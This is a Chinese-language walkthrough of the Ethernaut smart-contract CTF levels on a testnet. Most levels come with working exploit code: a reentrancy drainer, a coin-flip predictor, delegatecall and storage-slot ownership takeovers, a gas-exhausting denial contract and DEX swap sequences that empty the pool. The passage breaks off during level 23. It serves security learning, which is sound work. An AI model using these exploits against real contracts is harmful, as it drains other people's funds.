0%

blockchain - Ethernaut智能合约漏洞靶场复现

接到了链上的项目,正好学习一下

0x00 环境搭建

我用的是这个靶场,需要下载MetaMask,下载完毕之后可以切换到Sepolia测试币,去这里开源挖币,就有测试币可以搭建Instance了(不过需要认证score,也很简单,只需要认证好github就能过)

0x01 题目

00 Hello Ethernaut

这个题目完全是新手教程,让我们与contract的info这个method进行交互,我们打开控制台按照他的意思一直contract.xxx(“xxx”)就行了

01 Fallback

漏洞类型:不算漏洞

take-away msg:fallback/receive 函数触发时机

Basic

这一关的名字是Fallback,fallback是一类函数,这类函数可以在合约接收到以太币时执行一些操作(Exploration里有更精确的定义)。本题中,当接收的币大于0并且币的发送方在发送这条消息之前已经对该合约有了贡献(发送过币),那就把这个合约的所有权移交给币的发送方。

也就是说,我们只需要

1
2
await contract.contribute({value:1})
await contract.sendTransaction({value:1})

就已经将控制权掌握在我们手中了,此时就可以使用被onlyOwner这个modifier修饰的withdraw函数了
1
2
3
await contract.withdraw()
await contract.owner() // 查看合约所有权
await getBalance(contract.address) // 查看合约剩余余额

Exploration

我很好奇按照上面的说法,contribute两次应该也可以吧,不用非得contribute一次再sendtransaction一次才能提权。后来我尝试了一下果然不行,因为contribute在合约里有明确定义,合约收到Ether之后会调用contribute里的逻辑去处理这个Ether。但sendTransaction属于向合约发起交易,并且没有附加数据(msg.data),因此会隐式调用receive函数(也就是Fallback函数)进行逻辑处理。

因此本题fallback函数的调用条件是:当合约接收到代币但没有处理代币的函数,并且没有附加数据时,会调用fallback函数来处理。但我问了GPT老师,他的回答是这样的:

触发 fallback 函数的情况:

①调用不存在的函数:如果调用的函数在合约中不存在,且合约定义了 fallback 函数,则会触发 fallback 函数。

②发送以太币但没有数据,且没有定义 receive 函数:如果合约中没有定义 receive 函数,发送纯以太币且没有附加数据时,会触发 fallback 函数。

③发送以太币且有附加数据:如果发送以太币且附加了数据(即 msg.data 不为空),即使合约定义了 receive 函数,也会触发 fallback 函数。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
await contract.owner()
'0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'

await getBalance(contract.address)
'0'

await contract.contribute({value:1})
...

await contract.owner()
'0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'

await getBalance(contract.address)
'0.000000000000000001'

await contract.contribute({value:1})
...

await contract.owner()
'0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'

await getBalance(contract.address)
'0.000000000000000002'

await contract.sendTransaction({value:1})
...

await contract.owner()
'0x9a80a78bebE92EF9cDfC4CA116fC4925237fDbd0'

await contract.withdraw()
...

await contract.owner()
'0x9a80a78bebE92EF9cDfC4CA116fC4925237fDbd0'

await getBalance(contract.address)
'0'

ps: 打这关的时候提交有的时候会显示不通过,但多submit几次就好了

02 Fallout

漏洞类型:权限设置错误/关键函数拼写错误

这题貌似是想告诉我们不要把构造函数公有化?因为只要调用这个Fal1out函数就能掌握所有权了。

1
await contract.Fal1out()

03 Coin Flip

漏洞类型:预测伪随机数

take-away msg:部分全局变量;伪随机数预测

猜硬币,这种随机数肯定是伪随机数,可以预测的。

看合约源码得知blockValue是前一个区块的hash值,并将其转换为无符号整数。

如果lasthash值(上个区块的hash值)等于blockValue,就说明这个blockValue被用过了,调用revert函数返回gas。我们只能等新区块生成之后再预测(比特币10min生成一个区块,以太坊只需要15s)

如果lasthash等于blockValue,就用blockValue除以FACTOR得到一个结果coinFlip,我们要猜这个数字是1还是0。

源码分析完了,伪随机数是blockValue,由于我们已经知道了FACTOR,所以只要知道了blockValue就可以直到后面的全部内容,我们来分析一下为什么可以预测blockValue

当交易在链上被发送时,这些交易会被矿工打包到即将挖出的下一个区块中,区块包含多个交易,这些交易会顺序执行。在同一笔交易中,如果一个合约调用另一个合约,这些调用会在同一个区块中顺序执行。区块链的每个区块都有一个固定的时间窗(例如,比特币的每个区块时间为10分钟,以太坊的每个区块时间为15秒)。在这个时间窗内,所有被打包到这个区块中的交易会共享相同的区块哈希和区块编号。

因此,只要我们写一个攻击合约,在攻击合约中获取block.number,再调用被攻击合约的flip函数,那么flip中的block.number就跟攻击合约中的number是相同的了。因此也就达成了攻击的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.8.0;

contract Attack {
address addr;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
event Result(bool, bool);

constructor(address _addr) {
addr = _addr;
}

function flip() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

(bool success, bytes memory data) = addr.call(abi.encodeWithSignature("flip(bool)", side));
emit Result(success, abi.decode(data, (bool)));
}
}

04 Telephone

漏洞类型:不算漏洞

take-away msg:直接调用者 & 间接调用者

本题主要考察 tx.origin 与 msg.sender 的区别,tx.orgin 指的是交易的发起方,msg.sender 指的是合约的直接调用者。比如,当用户X通过合约A调用合约B时:对于合约A,tx.origin 与 msg.sender 都是用户X;对于合约B,tx.origin 是用户X,msg.sender 是合约A

因此我们只需要部署一个合约A,通过该合约调用题目函数即可。

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external;
}

contract Attack {
Telephone constant private target = Telephone(0xdeE55F3707b4462D224A931cB6B2e2c619C9EFFB);
function call() public {
target.changeOwner(msg.sender);
}
}

05 Token

漏洞类型:整数溢出

take-away msg:整数溢出

整数溢出。balances 和 value 都是 uint256 型的,所以减完了还是正数,由于初始余额有20,我们直接减21即可

1
2
3
4
contract.address
'0x440f5dD58996e284Bf339399cE48580cf2ADC84b'

await contract.transfer("0x440f5dD58996e284Bf339399cE48580cf2ADC84b",21)

06 Delegation

漏洞类型:不算漏洞

take-away msg:代理合约;delegatecall

本题考察对合约调用方式的理解。合约调用共有三种方式

  • call: 调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境
  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
  • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境

    貌似 “callcode” 已被弃用,取而代之的是 “delegatecall”

也就是说,当我们以 call 的形式通过合约 Delegation 调用合约 Delegate 的 pwn 函数时,Delegate 中记录的 msg.sender 是 Delegation 的地址;而当我们以 Delegate call 的形式通过合约 Delegation 调用合约 Delegate 的 pwn 函数时,Delegate 中记录的 msg.sender 是我们自己的地址。

类比 Telephone 那道题,普通 call 的 msg.sender 就是 msg.sender,而 DelegateCall 的 msg.sender 是 tx.origin。

在本题中,合约 Deletation 部署了合约 Delegate,并且有 pwn 函数可以让我们提权,我们需要通过触发 fallback,通过传入的 data 调用 pwn(),即await contract.sendTransaction({data:"0xdd365b8b"});,至于为什么是 0xdd365b8b,这好像是 pwn() 函数的签名再哈希以后的前四字节,可以通过下面的 solidity 代码生成

1
2
3
4
5
6
7
8
pragma solidity ^0.4.0;

contract B {
bytes4 public result;
function test() public {
result = bytes4(keccak256("pwn()"));
}
}

也可以通过await web3.utils.keccak256("pwn()")生成

07 Force

漏洞类型:不算漏洞

take-away msg:通过自毁函数强制转入eth

本题给了空合约,旨在让我们学会如何在合约拒绝转入时强制给它转入 ETH

可以通过 selfdestruct() 函数来完成目标,这个合约析构函数有以下性质:

  1. 指令执行后,合约将拒绝服务,地址对应的字节码将被标注为删除

  2. 合约地址中所有的 ETH 将被发送到指定的新地址

  3. 进行 ETH 转移时,即使目标地址为一个合约地址,也不会触发该地址的 fallback 函数,因此不需要该合约有任何的 payable 函数

  4. 如果 selfdestruct 函数被非预期执行,整个合约会拒绝服务

也就是说我们可以写一个合约,让它析构的时候给要攻击的合约转入 1wei,在 remix 上部署以下合约即可,记得 value 设置成 1wei

1
2
3
4
5
6
7
pragma solidity ^0.8.0;

contract Attack {
function forceAttack(address payable _addr) payable external {
selfdestruct(_addr);
}
}

08 Vault

漏洞类型:隐私信息上链

take-away msg:不要把隐私信息上链,因为全公开

vault 是金库的意思,合约源码把密码设置成 private 了,但这个 private 是幽默 private,因为区块链中所有存储在 storage 里的东西都是公开的,也就是说我们可以通过 getStorageAt 来查看合约的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
await web3.eth.getStorageAt(instance);
'0x0000000000000000000000000000000000000000000000000000000000000001'
await web3.eth.getStorageAt(instance,1);
'0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
await web3.eth.getStorageAt(instance,0);
'0x0000000000000000000000000000000000000000000000000000000000000001'
await web3.eth.getStorageAt(instance,2);
'0x0000000000000000000000000000000000000000000000000000000000000000'
await web3.eth.getStorageAt(instance,3);
'0x0000000000000000000000000000000000000000000000000000000000000000'

await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29");

await contract.locked();

09 King

漏洞类型:未检查返回值

((await contract.prize()).toString()); 可以查看这个合约的余额。

transfer 转账时如果遇到错误会 revert, 根据这个特性可以使得某个恶意合约成为 king, 该合约的 receive 方法始终 revert,而call和send函数则不是,而是返回一个false,因此这就是为什么需要检查call和send的返回值的原因。

直接写个合约,在里面fallback抛出异常即可。不过设置 revert 有个比较麻烦的点是不能给这个合约转钱了,所以只能把我的钱包地址设置白名单了。不过或许可以用之前那个 Force 的方式试试🤔之后再说吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
event Received(address sender);

receive() external payable {
if(msg.sender != Your Wallet Address here){
emit Received(msg.sender); // 记录 msg.sender
revert("Error");
}
}

function claimKing(address payable addr) public payable {
(bool success, ) = addr.call{value: 0.01 ether}("");
require(success, "Call failed");
}
}

10 Re-entrancy

漏洞类型:重入攻击

take-away msg:重入的举例与防护

重入攻击久仰大名,重入指的是攻击者在被攻击合约更新余额前重复提款的行为,我们可以在 fallback 或者 receive 函数里再次调用 withdraw,这样他就会再次向被攻击合约提出提款请求。

我们可以用await getBalance(contract.address)来查看合约的余额,这里“合约余额”与“合约定义的用户余额”不太一样,要注意一下。

还有就是,我最后攻击的时候用户余额已经溢出了,仍然不能提款,应该是每次提款的数目已经大于“合约余额”了,比如合约余额只剩0.004的时候我要提0.01,那就是不行的,只能以0.001为单位去提取。

exp 如下,不过要在前面加上 SafeMath库,然后把题目源码也粘在前面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

// 粘贴 SafeMath 库

// 粘贴题目源码

contract Attack {
Reentrance r;
uint256 amount = 0.001 ether;
address payable public owner;

constructor(address payable addr) public {
r = Reentrance(addr);
owner = msg.sender;
}

receive() external payable {
if (address(r).balance >= amount) {
r.withdraw(amount);
}
}

function attack() external payable {
r.donate{value: amount}(address(this));
r.withdraw(amount);
}

function withdraw() external {
msg.sender.transfer(address(this).balance);
}

function toMe() external {
require(msg.sender == owner, "Only owner can withdraw");
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

11 Elevator

漏洞类型:不算漏洞

take-away msg:view/pure?但我没用到这两个修饰符

这道题在本地实现好 isLastFloor,让其根据调用次数的不同返回不同值就行,第一次返回 false,第二次返回 true.

题目提示合约不适合保存 promises,我有点没太理解 promises 的意思…或许之后可以看看 view 和 pure 来帮助理解这一点吧。今天刷了 8 道题,得休息一下..

题目说:

你可以在接口使用 view 函数修改器来防止状态被篡改. pure 修改器也可以防止状态被篡改. 认真阅读 Solidity’s documentation 并学习注意事项. 完成这一关的另一个方法是构建一个 view 函数, 这个函数根据不同的输入数据返回不同的结果, 但是不更改状态, 比如 gasleft().

抽时间可以看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;// ...

contract Building {
address public target = 0x225B6F1A5823e1dA88195BD6bA571f9D9B4C659f;
bool public flag = false;
function isLastFloor(uint) external returns (bool){
if(flag == false){
flag = true;
return false;
}
return true;
}
function attack() public {
target.call(abi.encodeWithSignature("goTo(uint256)",1));
}
}

12 privacy

漏洞类型:隐私数据上链

跟 Vault 那题区别不大,也是计算出变量存储的 slot 然后 getStorageAt 就可以了,只不过 unlock 函数里取了 data[2] 的前十六字节

1
2
3
4
5
6
bool public locked = true;   //0
uint256 public ID = block.timestamp; //1
uint8 private flattening = 10; //2
uint8 private denomination = 255; //2
uint16 private awkwardness = uint16(now); //2
bytes32[3] private data; // 3 4 5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
await web3.eth.getStorageAt(instance,0);
'0x0000000000000000000000000000000000000000000000000000000000000001'
await web3.eth.getStorageAt(instance,1);
'0x00000000000000000000000000000000000000000000000000000000669db9d8'
await web3.eth.getStorageAt(instance,2);
'0x00000000000000000000000000000000000000000000000000000000b9d8ff0a'
await web3.eth.getStorageAt(instance,3);
'0x981640b3c7b393cf50dc3dc775cc956dd7293184d5d7e41799a3d83ecd976f87'
await web3.eth.getStorageAt(instance,4);
'0xed854f8fb8465be2b28d43a0d5e5f3e6b0679e5aa11c05848878c90d0b8c8b17'
// this is what we need
await web3.eth.getStorageAt(instance,5);
'0x7511365c632ac62dc1071f0f24d9dc40245bfa8c01761c5462eea210a26621e8'
await web3.eth.getStorageAt(instance,6);
'0x0000000000000000000000000000000000000000000000000000000000000000'

await contract.unlock("0x7511365c632ac62dc1071f0f24d9dc40")

13 Gatekeeper One

漏洞类型:不算漏洞

take-away msg:全局变量gas;数据类型转换

先看gate1,跟 telephone 那道题一样,写个合约调就行了。

gate2需要控制 gas,比较直接的方式就是爆破 call 函数里的 gas 参数

1
2
3
4
5
for (uint i = 0; i < 500; i ++) {
try gatekeeper.enter{gas: 8191 * 3 + i}(gateKey) returns (bool result) {
return result;
} catch { }
}

gate3 有这样几条限制:

1
2
3
4
5
6
// 低 2byte 与 低 4byte 相等
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
// 低 4byte 与 低 8byte 不等
uint32(uint64(_gateKey)) != uint64(_gateKey)
// 低 4byte 与 tx.origin 的低 2byte 相等
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

bytesxx 取的是高位的xx字节,uintxx 取的是低位的xx位,当小变量与大变量作比较时,会将小变量零扩展,即前面添0. 了解这些 gate3 就可以绕了。很简单,只要取自己钱包地址的低 64bit,与 0xffffffff0000ffff 相与就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ...

contract Attack {
function attack(address addr) external returns (bool) {
GatekeeperOne pwner = GatekeeperOne(addr);
bytes8 gatekey = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff;

for(uint i = 0; i < 500; i++) {
try pwner.enter{gas: 8192 * 3 + i}(gatekey) returns (bool result) {
return result;
} catch {}
}
return false;
}
}

14 Gatekeeper Two

漏洞类型:不算漏洞

take-away msg:yul

gate1 也是要调合约

对于 gate2 ,caller 函数等价于返回 msg.sender,extcodesize 函数是计算该地址的合约代码长度,gate2 中要求合约代码长度为 0,而当合约的构造函数正在执行时,该合约的代码还未被完全部署到链上,因此 extcodesize 在这个时间点上返回的结果为 0。

所以我们选择在 Attack 函数的构造函数中执行攻击代码

对于gate3,我们需要让 gateKey 等于 0xffffffffffffffff ^ MitM 调用 enter 的函数签名,exp 如下

1
2
3
4
5
6
7
contract Attack {
constructor(address addr) {
GatekeeperTwo g = GatekeeperTwo(addr);
bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;
g.enter(gateKey);
}
}

15 Naught Coin

漏洞类型:不算漏洞

take-away msg:ERC代币

ERC-20 标准支持将一定数量的代币授权 (approve) 给某个地址 (被授权方), 然后被授权方就能够使用 transferFrom 支配授权方的代币

1
2
3
4
5
6
7
8
9
10
// current balance: 1000000000000000000000000
(await contract.balanceOf(player)).toString();

// approve to another contract
await contract.approve("0x148258832f9925fC21Cf5B13d5aE21EE1e6ce1F0", "1000000000000000000000000");

// invoke Attack.attack()

// check balance again
(await contract.balanceOf(player)).toString();

16 Preservation

漏洞类型:delegatecall修改状态变量

take-away msg:delegatecall是本地上下文执行

我们再来重新认识一下 delegatecall:

假设我们有合约 A 通过 delegatecall 调用了合约 B 的函数 funcB,那么 funcB 中修改的变量其实都是合约 A 中的变量。那么可能有人要问,合约 B 是怎么知道 A 的变量的?实际上,delegatecall 是根据状态变量的定义顺序去寻找被调用合约对应的 slot 位置, 然后进行访问和修改。

因此,LibraryContract 中的 setTime 修改的 storedTime,其实是修改了 Preservation 合约中的 timeZone1Library,我们可以将其修改为恶意合约地址。

1
await contract.setFirstTime("0xAC93AF93Afb73D776694684bDD39dD900EF27C9D");

但这里我有一个不太明白的点是,明明传入的参数是 32bytes 的,而 timeZone1Library 是 20bytes 的 address 变量,我不清楚是怎么数据转换以及放入 slot 当中的

而当我们修改了 timeZone1Library 为恶意合约地址,再用 setFirstTime 调用 setTime 就调用的是恶意合约的 setTime 了,此时恶意合约直接写好同样的 setTime 签名,内部实现 owner = msg.sender 即可成功提权。

1
2
3
4
5
// 改为恶意合约的地址
await contract.setFirstTime("0xAC93AF93Afb73D776694684bDD39dD900EF27C9D")

// 提权
await contract.setFirstTime("anything")
1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EvilLibraryContract {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;

function setTime(uint256 /*_time*/) public {
owner = msg.sender;
}
}

17 Recovery

漏洞类型:不算漏洞

take-away msg:链上一切信息都是公开透明的

十七题了,还是没办法脱离题解自己想到哪里是 vulnerable 的,合约基础还没打牢…得继续努力😭

这道题大意为 Recovery 合约创建了 SimpleToken 合约,但是找不到 SimpleToken 这个合约的地址了,所以需要我们找到这个地址,并把这个地址里的币转移出来。

首先要解决的问题是:如何找到这个合约?

  • 方案一:etherscan 直接搜实例地址

通过跟进“实例地址”(其实就是 Recovery 这个合约的地址)创建的新合约的地址,我们可以找到 SimpleToken 的地址

这个方案我没仔细看…先把链接放在这儿

1
2
3
4
5
6
import web3
import rlp
# keccak256(address, nonce)
# 0xfe... 是实例地址
print(hex(int.from_bytes(web3.Web3.keccak(rlp.encode([0xfeB38d24C57d0462741d90E44b07d976f99fBf71,1]))[12:])))
# 0xd1d9a8e9388dbeb6f0714340e4d44b0587c6145e <-这个是 SimpleToken 的地址

找到合约之后,我们要解决的问题是,如何把 SimpleToken 中的合约代币转出来?

我们可以看到 SimpleToken 合约中存在 destruct 函数,而 Remix 为我们提供了与现有合约交互的功能,即部署时的 “At Address”,这里借了张图👇

借的图

将我们钱包的地址写在 destroy 中,就可以将合约中的代币转出啦

18 MagicNumber

漏洞类型:不算漏洞

take-away msg:EVM bytecode

今天完全不想看原理。。先 fork 一下别人的 wp 改天再来看

条件: 提供一个合约地址, 该合约最多包含 10 个 opcode, 并在调用 whatIsTheMeaningOfLife 方法时返回数字 42

https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-ii-creation-vs-runtime-6b9d60ecb44c

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be

https://medium.com/zeppelin-blog/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef

合约创建的过程

代码分为两部分

  • initialization code
  • runtime code

具体讲解看文章就行

runtime code

1
2
3
4
5
6
PUSH1 0x2a ; store 42 in memory
PUSH1 0x80
MSTORE
PUSH1 0x20 ; return the memory address of 42
PUSH1 0x80
RETURN

转成hex正好10bytes602a60805260206080f3

根据上面几篇文章里介绍的原理, 编写 runtime code 的时候其实无需考虑具体的方法名是什么 (whatIsTheMeaningOfLife)

因为 EVM 执行字节码时永远都是从上至下执行, 而正常合约字节码的开头会根据 calldata 内 selector 的值 JUMPI 到特定的位置, 以此实现不同方法的调用 (路由)

对于这题来说, 只需要返回 42 就行 (RETURN), 也就无需加入针对 selector 的判断

initialization code

1
2
3
4
5
6
7
PUSH1 0x0a ; copy runtime code to memory
PUSH1 0x0c
PUSH1 0x00
CODECOPY
PUSH1 0x0a ; return the memory address of code
PUSH1 0x00
RETURN

转为hex600a600c600039600a6000f3

最终 hex, 前 12 bytes 为 initialization code, 后 10 bytes 为 runtime code

0x600a600c600039600a6000f3602a60805260206080f3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// deploy contract
await web3.eth.sendTransaction({from: player, data: "0x600a600c600039600a6000f3602a60805260206080f3"});
// 右键回显,复制object
{
"blockHash": "0x63eb03c9313eb08f9634a66cf4f6dc29cf8f00447c3881e39c743e9c06af19a5",
"blockNumber": 6390825,
"contractAddress": "0x71e6E63B138806572D11A60A8778FfA154ab96c5",
"cumulativeGasUsed": 1517854,
"effectiveGasPrice": 13186593185,
"from": "0x9a80a78bebe92ef9cdfc4ca116fc4925237fdbd0",
"gasUsed": 55354,
"logs": [],
"logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"status": true,
"to": null,
"transactionHash": "0xa33ade6dd8c074ed59d0db434b3e7768944240707d1a4a9a61e8bb28f99d55f6",
"transactionIndex": 16,
"type": "0x2"
}

// setSolver 注意这里的地址得是sendTransaction回显的合约地址
await contract.setSolver("0x2132C7bc11De7A90B87375f282d36100a29f97a9");

19 Alien Codex

漏洞类型:

take-away msg:数组越界访问+slot对应keccak标识符(还不是很懂)

做这道题之前先阅读这篇,读到动态数组的存储方式

另外,我们可以通过以下代码来查看 codex 存放的真实 slot 地址:

1
2
3
4
function getSlotForArrayElement(uint256 _elementIndex) public pure returns (bytes32) {
bytes32 startingSlotForArrayElements = keccak256(abi.encode(1));
return bytes32(uint256(startingSlotForArrayElements) + _elementIndex);
}

此外,一个合约中存在 2^256 个 slot 槽,也就是说,slot[2^256 - 1] 就是 slot 的最后一个 32bytes 长的元素。同时,本题 revise 函数虽然在修改下标大于 length 的越界变量时会报错,但 retract 函数并没有对容量做检查,因此,我们很轻松地就可以通过 retract 函数将 codex 的 length 减为 2^256-1,进而修改通过 revise(i,’evilcontent’) 将 slot 中任意一个位置修改为 ‘evilcontent’。

在本题中,我们需要将 slot[0] 中的 owner 改为我们自己钱包的地址。因此,思路如下:

  1. makeContact
  2. 通过 retract 函数将 length 减为 2^256 - 1
  3. 此时使用 keccak256(abi.encodePacked(uint256(1))) 计算出存放 codex 的插槽的 slot 地址array_addr
  4. 因为 array_addr 距离 slot[0] 还有 diff = (2^256 - 1) - array_addr + 1 这么多;而 codex[0] 正好是 slot[array_addr]。
  5. 因此,slot[0] = codex[0 + diff],exp如下

有了 slot[0] 的位置,而且我们现在也已经知道 contact 在 slot[0] 中,codex 的长度独占 slot[1]。而根据这篇文章,Ownable-05 中的 owner 地址变量存放在 AlienCodex 合约变量的上方,也就是 slot[0],从代码角度看,可以理解为

1
2
3
address private _owner;
bool public contact;
bytes32[] public codex;

因此,我们可以将 slot[0] 修改为 0x..001\。exp 如下:

  1. await contract.makeContact()
  2. await contract.retract()

  3. 我们可以在本地部署以下合约,并调用getSlotForArrayElement(0),这里本地回显的0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6这个地址跟远程存储 codex 的 slot 地址一模一样

  4. 计算 diff = 2^256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,得到diff = 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a,即35707666377435648211887908874984608119992236509074197713628505308453184860938

  5. await contract.revise(diff,’0x0000000000000000000000019a80a78bebE92EF9cDfC4CA116fC4925237fDbd0’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) public contacted {
codex.push(_content);
}

function retract() public contacted {
codex.length--;
}

function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}

function getSlotForArrayElement(uint256 _elementIndex) public pure returns (bytes32) {
bytes32 startingSlotForArrayElements = keccak256(abi.encode(1));
return bytes32(uint256(startingSlotForArrayElements) + _elementIndex);
}
}

20 Denial

漏洞类型:gas耗尽

条件: 在 owner 调用 withdraw 时拒绝提取资金 (合约仍有资金, 并且交易的 gas 少于 1M)

其实就是在 receive/fallback 里写一个死循环将 gas 耗尽, 这样后续调用 transfer 转账的时候就会 revert

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
uint256 counter = 0;

receive() external payable {
while (true) {
counter ++;
}
}
}
1
await contract.setWithdrawPartner('0x"evil_contract_addr"');

21 Shop

漏洞类型:

take-away msg:合约调用的非原子性?

本题针对 view 函数的缺陷进行了攻击,跟 Elevator 那题的思路很像,都是在 victim 合约在调用外部 evil 合约函数时,自身状态变量的更新前没有合理约束条件导致的,攻击流程如下:

  1. 当 MyBuyer 合约调用 shop.buy() 时,Shop 合约会调用 MyBuyer 的 price 函数。

  2. 在 price 函数被调用时,shop.isSold() 仍然是 false,因此返回 101。

  3. Shop 合约检查 price 返回的值为 101,满足条件,于是设置 isSold 为 true,并更新 price 为 101。

  4. 然后 Shop 再次调用 price 函数为状态变量 price 赋值,此时 shop.isSold() 已经是 true,所以返回 99。因为 isSold 已经更新为 true,Shop 合约不会再次进行检查或更新。

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint256);
}

// contract Shop 粘贴过来

contract MyBuyer is Buyer {
Shop shop;

constructor(address addr) {
shop = Shop(addr);
}

function price() external view returns (uint256) {
if (shop.isSold() == false) {
return 101;
} else {
return 99;
}
}

function buy() external {
shop.buy();
}
}

22 Dex

漏洞类型:精度缺失

take-away msg:solidity不支持原生浮点数,DEX

这道题背后考察的是 dex 的原理,但由于浮点数处理异常,每次交换时用户希望交换的数目可能小于实际交换的数目,因此来回倒几笔钱,我们就可以多拿到本来不属于我们的钱(?

dex 的基本原理是将一对代币加入流动池以提供流动性, 这样就可以实现两种代币之间的交换, 交换的价格是根据流动池内代币的比例动态计算的

对于这道题来说, 流动池内一对代币 X 和 Y 之间的汇率与这两种代币在流动池内的总量成反比

比如池子里有 100 X 和 10 Y, 那么汇率就是 1 Y = 10 X

如果流动池内代币 X 的总量增大, 那么 X 相对于 Y 在贬值, 即每个 X 能兑换的 Y 会变少

相反, 如果 X 的总量减少, 那么 X 相对于 Y 在升值, 即每个 X 能兑换的 Y 会变多

题目不能够手动修改 token1 或 token2 的地址

然后虽然 addLiquidity 函数被限制了 onlyOwner, 但实际上仍然可以通过手动调用 token1/token2 合约的方式来强制添加流动性, 不过这个点具体怎么利用目前还没怎么想到

getSwapPrice 用于动态计算用代币 from 兑换 to 时的价格,但 Solidity 没有浮点数, 整数之间相除得到的结果会被去整, 即丢掉后面的小数位数。

当用户在 token1 和 token2 之间来回兑换时, 可以看到每次能拿到的代币数量其实是在变多的, 这样多倒几次最终就能将 dex 池内某一类型的代币搬空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let token1 = await contract.token1();
let token2 = await contract.token2();

await contract.approve(instance, 1000);

await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);

// swap with 45 token2 because 65 * 110 / 45 = 158 > 110 and 46 * 110 / 45 = 110
await contract.swap(token2, token1, 45);

// should return 0
(await contract.balanceOf(token1, instance)).toString();

23 DEX TWO

漏洞类型:精度缺失

twm(take-away msg):同上

这题与 Dex 的区别在于 swap 函数没有了对 from 和 to 代币地址的限制, 这表示我们可以利用自己发行的代币与 dex 内的 token1/token2 交换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Token3 is ERC20 {

constructor() ERC20("Token3", "Token3") { }

function mint(address account, uint256 value) external {
_mint(account, value);
}

function burn(address account, uint256 value) external {
_burn(account, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
let token1 = await contract.token1();
let token2 = await contract.token2();
let token3 = 'Token Contract Addr';

// token3.mint(player, 2);
// token3.mint(instance, 1);
// token3.approve(instance, 1000);

